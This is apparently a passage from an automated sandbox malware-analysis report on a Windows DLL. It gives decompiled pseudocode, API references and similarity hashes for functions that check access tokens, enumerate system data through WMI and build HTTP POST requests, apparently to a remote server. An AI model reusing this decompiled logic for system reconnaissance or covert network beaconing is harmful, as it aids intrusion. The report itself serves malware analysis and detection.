Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 41db07937dd31a0202398d42a7daf5e1fe9217962771ca3975da14f9b4adf208
Instruction ID: bd818523d8a813c23dac2272a685e8f82a0c1406782c3033d3d3f6c563ca7357
Opcode Fuzzy Hash: 41db07937dd31a0202398d42a7daf5e1fe9217962771ca3975da14f9b4adf208
Instruction Fuzzy Hash: 46C00272229011EFDE809FA4C948F2877E1AB1A362F1242A1F5259B1E6CA32D400DB12

Uniqueness

Uniqueness Score: -1.00%

Function 6BB485D0, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6BB485D0() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x6bb5e768 = _t1;
				return _t1;
			}

0x6bb485d9
0x6bb485df
0x6bb485e4

APIs

HeapCreate.KERNEL32(00000000,00080000,00000000,6BB45F88), ref: 6BB485D9

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 348e64cdf7b90609d0570bb4ff7b63cfbb0a65364249a9e35f38b3174ab60e6e
Instruction ID: 3e50d0381b2e228cf3dcda639143554302e4d24f8934c3efff3035ebad03bdd6
Opcode Fuzzy Hash: 348e64cdf7b90609d0570bb4ff7b63cfbb0a65364249a9e35f38b3174ab60e6e
Instruction Fuzzy Hash: 24B012716A03009AFA501F204C06B143550A301B06F300041B7045B1C0C7B15000CE26

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4BAA4, Relevance: 1.3, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E6BB4BAA4(void* __ecx, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				short _v28;
				char _v32;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr _t34;
				char _t37;
				union _TOKEN_INFORMATION_CLASS _t44;
				char _t45;
				intOrPtr* _t48;

				_t37 = 0;
				_v28 = 0x500;
				_t45 = 0;
				_v32 = 0;
				_t20 = E6BB4B988(__ecx);
				_v16 = _t20;
				if(_t20 != 0) {
					_push( &_v24);
					_t44 = 2;
					_t21 = E6BB4B9DA(_t44); // executed
					_t48 = _t21;
					_v20 = _t48;
					if(_t48 == 0) {
						L10:
						CloseHandle(_v16);
						if(_t48 != 0) {
							E6BB485FB( &_v20, _t37);
						}
						return _t45;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0x220);
					_push(0x20);
					_push(2);
					_push( &_v32);
					_t29 =  *0x6bb5e68c; // 0x2abfc68
					if( *((intOrPtr*)(_t29 + 0xc))() == 0) {
						goto L10;
					}
					if( *_t48 <= 0) {
						L9:
						_t31 =  *0x6bb5e68c; // 0x2abfc68
						 *((intOrPtr*)(_t31 + 0x10))(_v12);
						_t37 = 0;
						goto L10;
					}
					_t9 = _t48 + 4; // 0x4
					_t33 = _t9;
					_v8 = _t33;
					while(1) {
						_push(_v12);
						_push( *_t33);
						_t34 =  *0x6bb5e68c; // 0x2abfc68
						if( *((intOrPtr*)(_t34 + 0x68))() != 0) {
							break;
						}
						_t37 = _t37 + 1;
						_t33 = _v8 + 8;
						_v8 = _t33;
						if(_t37 <  *_t48) {
							continue;
						}
						goto L9;
					}
					_t45 = 1;
					goto L9;
				}
				return _t20;
			}

0x6bb4baab
0x6bb4baad
0x6bb4bab4
0x6bb4bab6
0x6bb4bab9
0x6bb4babe
0x6bb4bac3
0x6bb4bacd
0x6bb4bad0
0x6bb4bad3
0x6bb4bad8
0x6bb4bada
0x6bb4bae0
0x6bb4bb40
0x6bb4bb48
0x6bb4bb4e
0x6bb4bb55
0x6bb4bb5b
0x00000000
0x6bb4bb5c
0x6bb4bae5
0x6bb4bae6
0x6bb4bae7
0x6bb4bae8
0x6bb4bae9
0x6bb4baea
0x6bb4baeb
0x6bb4baec
0x6bb4baf1
0x6bb4baf3
0x6bb4baf8
0x6bb4baf9
0x6bb4bb03
0x00000000
0x00000000
0x6bb4bb07
0x6bb4bb33
0x6bb4bb33
0x6bb4bb3b
0x6bb4bb3e
0x00000000
0x6bb4bb3e
0x6bb4bb09
0x6bb4bb09
0x6bb4bb0c
0x6bb4bb0f
0x6bb4bb0f
0x6bb4bb12
0x6bb4bb14
0x6bb4bb1e
0x00000000
0x00000000
0x6bb4bb23
0x6bb4bb24
0x6bb4bb27
0x6bb4bb2c
0x00000000
0x00000000
0x00000000
0x6bb4bb2e
0x6bb4bb32
0x00000000
0x6bb4bb32
0x6bb4bb61

APIs

Part of subcall function 6BB4B988: GetCurrentThread.KERNEL32(00000008,00000000,6BB40000,00000000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B99B
Part of subcall function 6BB4B988: OpenThreadToken.ADVAPI32(00000000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9A2
Part of subcall function 6BB4B988: GetLastError.KERNEL32(?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9A9
Part of subcall function 6BB4B988: GetCurrentProcess.KERNEL32(00000008,6BB40000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9C2
Part of subcall function 6BB4B988: OpenProcessToken.ADVAPI32(00000000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9C9

Part of subcall function 6BB4B9DA: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6BB40000,00000000,00000000,?,6BB4BA79,?,00000000,?,6BB4D0EA), ref: 6BB4B9F5
Part of subcall function 6BB4B9DA: GetLastError.KERNEL32(?,6BB4BA79,?,00000000,?,6BB4D0EA), ref: 6BB4B9FC

CloseHandle.KERNEL32(?,00000000,74EC17D9,6BB40000), ref: 6BB4BB48

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: Token$CurrentErrorLastOpenProcessThread$CloseHandleInformation
String ID:
API String ID: 1020899596-0
Opcode ID: 4e42843a06f7a673c4dd5d876cfd7f060d31ed2d4d52be2b0822ca3839362186
Instruction ID: cf8afa627e82700a0bef6e1c812b4c4019b0f186616b2a421dfe5e74fd6bd2b0
Opcode Fuzzy Hash: 4e42843a06f7a673c4dd5d876cfd7f060d31ed2d4d52be2b0822ca3839362186
Instruction Fuzzy Hash: 33219D72A00208AFDB10DFA9DD85EAEB7F8FF44700F5040A9E601E7259E774EA01DB61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6BB4DB7E, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6BB4DB7E(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E6BB4D565(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E6BB485E5(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E6BB485FB( &_v60, 0xfffffffe);
					E6BB4D619( &_v104);
					return _t320;
				}
				_t165 = E6BB495C2(_t255, 0x536);
				 *_t328 = 0x609;
				_v52 = _t165;
				_t166 = E6BB495C2(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E6BB492C6(_t165);
				_v60 = _t322;
				E6BB485B6( &_v52);
				E6BB485B6( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E6BB495C2(_t255, 0x9e4);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E6BB485B6( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E6BB485FB( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E6BB491C4(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E6BB491C4(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E6BB48679(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E6BB485E5( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E6BB485FB(_t136, 0);
								E6BB485FB( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E6BB491C4(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E6BB495C2(_t281, 0x250);
								 *_t329 = 0x4cc;
								_t217 = E6BB495C2(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6BB485E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E6BB485B6( &_v92);
											E6BB485B6( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E6BB49621();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6BB485E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E6BB495C2(_t283, 0x219);
										E6BB49621( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E6BB485B6( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E6BB491C4(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E6BB4DA62( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E6BB485FB( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

0x6bb4db87
0x6bb4db8d
0x6bb4db94
0x6bb4db97
0x6bb4db9a
0x6bb4db9f
0x6bb4dba1
0x6bb4dba6
0x6bb4dfee
0x6bb4dfee
0x6bb4dbb3
0x6bb4dbb5
0x6bb4dbb8
0x6bb4dbbb
0x6bb4dfd3
0x6bb4dfd9
0x6bb4dfe3
0x00000000
0x6bb4dfe8
0x6bb4dbc6
0x6bb4dbcd
0x6bb4dbd4
0x6bb4dbd7
0x6bb4dbdc
0x6bb4dbde
0x6bb4dbe1
0x6bb4dbe4
0x6bb4dbe5
0x6bb4dbee
0x6bb4dbf4
0x6bb4dbf7
0x6bb4dc00
0x6bb4dc05
0x6bb4dc0a
0x6bb4dc21
0x6bb4dc2e
0x6bb4dc31
0x6bb4dc38
0x6bb4dc3d
0x6bb4dc44
0x6bb4dc49
0x6bb4dc50
0x6bb4dc52
0x6bb4dc5e
0x6bb4dc61
0x6bb4dc63
0x6bb4dfc3
0x6bb4dfc4
0x6bb4dfcd
0x00000000
0x6bb4dfcd
0x6bb4dc69
0x6bb4dc6c
0x6bb4dc6f
0x6bb4dc72
0x6bb4dc74
0x6bb4df8f
0x6bb4df92
0x6bb4df95
0x6bb4df97
0x6bb4dfb9
0x6bb4dfbe
0x6bb4df99
0x6bb4df9c
0x6bb4dfa7
0x6bb4dfae
0x6bb4dfae
0x00000000
0x00000000
0x00000000
0x00000000
0x6bb4dc7a
0x6bb4dc7a
0x6bb4dc8c
0x6bb4dc8f
0x6bb4dc91
0x00000000
0x00000000
0x6bb4dc99
0x6bb4dc9c
0x6bb4dc9f
0x6bb4dca2
0x6bb4dca5
0x6bb4dca8
0x00000000
0x00000000
0x6bb4dcae
0x6bb4dcbc
0x6bb4dcbf
0x6bb4dcc1
0x6bb4dcda
0x6bb4dce9
0x6bb4dcf1
0x6bb4dcf1
0x6bb4dcf4
0x6bb4dcfb
0x6bb4dcff
0x6bb4dd05
0x6bb4dd07
0x6bb4df77
0x6bb4df7d
0x6bb4df83
0x6bb4df86
0x6bb4df86
0x00000000
0x6bb4df86
0x6bb4dd16
0x6bb4dd2a
0x6bb4dd2e
0x6bb4dd30
0x6bb4dd35
0x6bb4df44
0x6bb4df4a
0x6bb4df55
0x6bb4df60
0x6bb4df66
0x6bb4df6c
0x6bb4df6f
0x00000000
0x6bb4df6f
0x6bb4dd3b
0x6bb4df12
0x6bb4df12
0x6bb4df15
0x6bb4df18
0x00000000
0x00000000
0x6bb4dd43
0x6bb4dd4b
0x6bb4dd52
0x6bb4dd58
0x6bb4dd5a
0x00000000
0x00000000
0x6bb4dd63
0x6bb4dd78
0x6bb4dd7e
0x6bb4dd87
0x6bb4dd8a
0x6bb4dd8d
0x6bb4dd8f
0x6bb4df05
0x6bb4df08
0x6bb4df11
0x6bb4df11
0x00000000
0x6bb4df11
0x6bb4dd9f
0x6bb4dda2
0x6bb4dda9
0x6bb4ddaf
0x6bb4ddb2
0x6bb4ddb5
0x6bb4ddb8
0x6bb4ddbb
0x6bb4ddf7
0x6bb4ddf7
0x6bb4ddfa
0x6bb4dea6
0x6bb4deba
0x6bb4deca
0x6bb4dece
0x6bb4ded0
0x6bb4dee7
0x6bb4deeb
0x6bb4def4
0x6bb4deff
0x00000000
0x6bb4deff
0x6bb4ded6
0x6bb4ded7
0x6bb4dedc
0x6bb4dedc
0x6bb4dede
0x6bb4dedf
0x6bb4dee4
0x00000000
0x6bb4dee4
0x6bb4de00
0x6bb4de00
0x6bb4de03
0x6bb4de6e
0x6bb4de82
0x6bb4de92
0x6bb4de96
0x6bb4de98
0x00000000
0x00000000
0x6bb4de9e
0x6bb4de9f
0x00000000
0x6bb4de9f
0x6bb4de05
0x6bb4de05
0x6bb4de08
0x00000000
0x00000000
0x6bb4de0a
0x6bb4de0d
0x00000000
0x00000000
0x6bb4de0f
0x6bb4de0f
0x6bb4de15
0x6bb4de31
0x6bb4de40
0x6bb4de49
0x6bb4de4e
0x6bb4de51
0x6bb4de57
0x6bb4de57
0x6bb4de5c
0x6bb4de68
0x00000000
0x6bb4de68
0x6bb4de1a
0x00000000
0x6bb4de1a
0x6bb4ddbd
0x6bb4dde4
0x6bb4dde9
0x6bb4ddee
0x6bb4ddf0
0x6bb4ddf0
0x00000000
0x6bb4ddee
0x6bb4ddbf
0x6bb4ddbf
0x6bb4ddc2
0x00000000
0x00000000
0x6bb4ddc8
0x6bb4ddc8
0x6bb4ddcb
0x00000000
0x00000000
0x6bb4ddd1
0x6bb4ddd1
0x6bb4ddd4
0x00000000
0x00000000
0x6bb4ddda
0x6bb4dddd
0x00000000
0x00000000
0x6bb4dddf
0x00000000
0x6bb4dddf
0x6bb4df21
0x6bb4df27
0x6bb4df2d
0x6bb4df30
0x6bb4df33
0x6bb4df33
0x6bb4df36
0x6bb4df37
0x6bb4df3a
0x6bb4df3c
0x00000000
0x00000000
0x6bb4df8c
0x6bb4df8c
0x00000000
0x6bb4df8c
0x6bb4dcc3
0x6bb4dcc9
0x00000000
0x6bb4dcc9
0x6bb4df89
0x00000000
0x6bb4dc0c
0x6bb4dc11
0x6bb4dc16
0x00000000
0x6bb4dc1a

APIs

Part of subcall function 6BB4D565: CoInitializeEx.OLE32(00000000,00000000), ref: 6BB4D578
Part of subcall function 6BB4D565: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6BB4D589
Part of subcall function 6BB4D565: CoCreateInstance.OLE32(6BB5B848,00000000,00000001,6BB5B858,?), ref: 6BB4D5A0
Part of subcall function 6BB4D565: SysAllocString.OLEAUT32(00000000), ref: 6BB4D5AB
Part of subcall function 6BB4D565: CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6BB4D5D6

Part of subcall function 6BB485E5: HeapAlloc.KERNEL32(00000008,?,?,6BB48F65,00000100,?,6BB45FAC), ref: 6BB485F3

SysAllocString.OLEAUT32(00000000), ref: 6BB4DC27
SysAllocString.OLEAUT32(00000000), ref: 6BB4DC3B
SysFreeString.OLEAUT32(?), ref: 6BB4DFC4
SysFreeString.OLEAUT32(?), ref: 6BB4DFCD

Part of subcall function 6BB485FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6BB48641

Strings

TRUE, xrefs: 6BB4DDE9
FALSE, xrefs: 6BB4DDF0

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Alloc$Free$HeapInitialize$BlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 224402418-1412513891
Opcode ID: f5bd3a71071cfae6ee84388b1e4874862dd75d7cf2d9e4ce15a3ae828452200a
Instruction ID: fde923c386121d95dd800832228f1133936930d13579ac7d51723806d89d3820
Opcode Fuzzy Hash: f5bd3a71071cfae6ee84388b1e4874862dd75d7cf2d9e4ce15a3ae828452200a
Instruction Fuzzy Hash: 53E17971E40249AFDF14DFE8D985EAEBBB9FF09304F104059E515AB288DB39AD01DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4E6AA, Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6BB4E6AA(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				int _v76;
				void* _v80;
				intOrPtr _v100;
				int _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				char* _v120;
				void _v124;
				char _v140;
				void _v396;
				void _v652;
				intOrPtr _t105;
				intOrPtr _t113;
				intOrPtr* _t115;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t131;
				char _t133;
				intOrPtr _t136;
				char _t138;
				char _t139;
				intOrPtr _t141;
				intOrPtr _t147;
				intOrPtr _t154;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t172;
				intOrPtr _t176;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				char _t195;
				intOrPtr _t203;
				intOrPtr _t204;
				signed int _t209;
				void _t212;
				intOrPtr _t213;
				void* _t214;
				intOrPtr _t216;
				char _t217;
				intOrPtr _t218;
				signed int _t219;
				signed int _t220;
				void* _t221;

				_v40 = _v40 & 0x00000000;
				_v24 = 4;
				_v36 = 1;
				_t214 = __edx;
				memset( &_v396, 0, 0x100);
				memset( &_v652, 0, 0x100);
				_v64 = E6BB495A8(0x85b);
				_v60 = E6BB495A8(0xdc9);
				_v56 = E6BB495A8(0x65d);
				_v52 = E6BB495A8(0xdd3);
				_t105 = E6BB495A8(0xb74);
				_v44 = _v44 & 0;
				_t212 = 0x3c;
				_v48 = _t105;
				memset( &_v124, 0, 0x100);
				_v116 = 0x10;
				_v120 =  &_v140;
				_v124 = _t212;
				_v108 =  &_v396;
				_v104 = 0x100;
				_v80 =  &_v652;
				_push( &_v124);
				_push(0);
				_v76 = 0x100;
				_push(E6BB4C3BB(_t214));
				_t113 =  *0x6bb5e6a4; // 0x0
				_push(_t214);
				if( *((intOrPtr*)(_t113 + 0x28))() != 0) {
					_t209 = 0;
					_v20 = 0;
					do {
						_t115 =  *0x6bb5e6a4; // 0x0
						_v12 = 0x8404f700;
						_t213 =  *_t115( *0x6bb5e788,  *((intOrPtr*)(_t221 + _t209 * 4 - 0x24)), 0, 0, 0);
						if(_t213 != 0) {
							_t195 = 3;
							_t185 = 4;
							_v8 = _t195;
							_t118 =  *0x6bb5e6a4; // 0x0
							 *((intOrPtr*)(_t118 + 0x14))(_t213, _t195,  &_v8, _t185);
							_v8 = 0x3a98;
							_t121 =  *0x6bb5e6a4; // 0x0
							 *((intOrPtr*)(_t121 + 0x14))(_t213, 2,  &_v8, _t185);
							_v8 = 0x493e0;
							_t124 =  *0x6bb5e6a4; // 0x0
							 *((intOrPtr*)(_t124 + 0x14))(_t213, 6,  &_v8, _t185);
							_v8 = 0x493e0;
							_t127 =  *0x6bb5e6a4; // 0x0
							 *((intOrPtr*)(_t127 + 0x14))(_t213, 5,  &_v8, _t185);
							_t131 =  *0x6bb5e6a4; // 0x0
							_t186 =  *((intOrPtr*)(_t131 + 0x1c))(_t213,  &_v396, _v100, 0, 0, 3, 0, 0);
							if(_a24 != 0) {
								E6BB497ED(_a24);
							}
							if(_t186 != 0) {
								_t133 = 0x8484f700;
								if(_v112 != 4) {
									_t133 = _v12;
								}
								_t136 =  *0x6bb5e6a4; // 0x0
								_t216 =  *((intOrPtr*)(_t136 + 0x20))(_t186, "POST",  &_v652, 0, 0,  &_v64, _t133, 0);
								_v8 = _t216;
								if(_a24 != 0) {
									E6BB497ED(_a24);
								}
								if(_t216 != 0) {
									_t138 = 4;
									if(_v112 != _t138) {
										L19:
										_t139 = E6BB495A8(0x777);
										_t217 = _t139;
										_v12 = _t217;
										_t141 =  *0x6bb5e6a4; // 0x0
										_t218 = _v8;
										_v28 =  *((intOrPtr*)(_t141 + 0x24))(_t218, _t217, E6BB4C3BB(_t217), _a4, _a8);
										E6BB485A3( &_v12);
										if(_a24 != 0) {
											E6BB497ED(_a24);
										}
										if(_v28 != 0) {
											L28:
											_v24 = 8;
											_push(0);
											_v32 = 0;
											_v28 = 0;
											_push( &_v24);
											_push( &_v32);
											_t147 =  *0x6bb5e6a4; // 0x0
											_push(0x13);
											_push(_t218);
											if( *((intOrPtr*)(_t147 + 0xc))() != 0) {
												_t219 = E6BB4972A( &_v32);
												if(_t219 == 0xc8) {
													 *_a20 = _v8;
													 *_a12 = _t213;
													 *_a16 = _t186;
													return 0;
												}
												_t220 =  ~_t219;
												L32:
												_t154 =  *0x6bb5e6a4; // 0x0
												 *((intOrPtr*)(_t154 + 8))(_v8);
												L33:
												if(_t186 != 0) {
													_t158 =  *0x6bb5e6a4; // 0x0
													 *((intOrPtr*)(_t158 + 8))(_t186);
												}
												if(_t213 != 0) {
													_t203 =  *0x6bb5e6a4; // 0x0
													 *((intOrPtr*)(_t203 + 8))(_t213);
												}
												return _t220;
											}
											GetLastError();
											_t220 = 0xfffffff8;
											goto L32;
										} else {
											GetLastError();
											_t162 =  *0x6bb5e6a4; // 0x0
											 *((intOrPtr*)(_t162 + 8))(_t218);
											_t218 = 0;
											goto L23;
										}
									}
									_v12 = _t138;
									_push( &_v12);
									_push( &_v16);
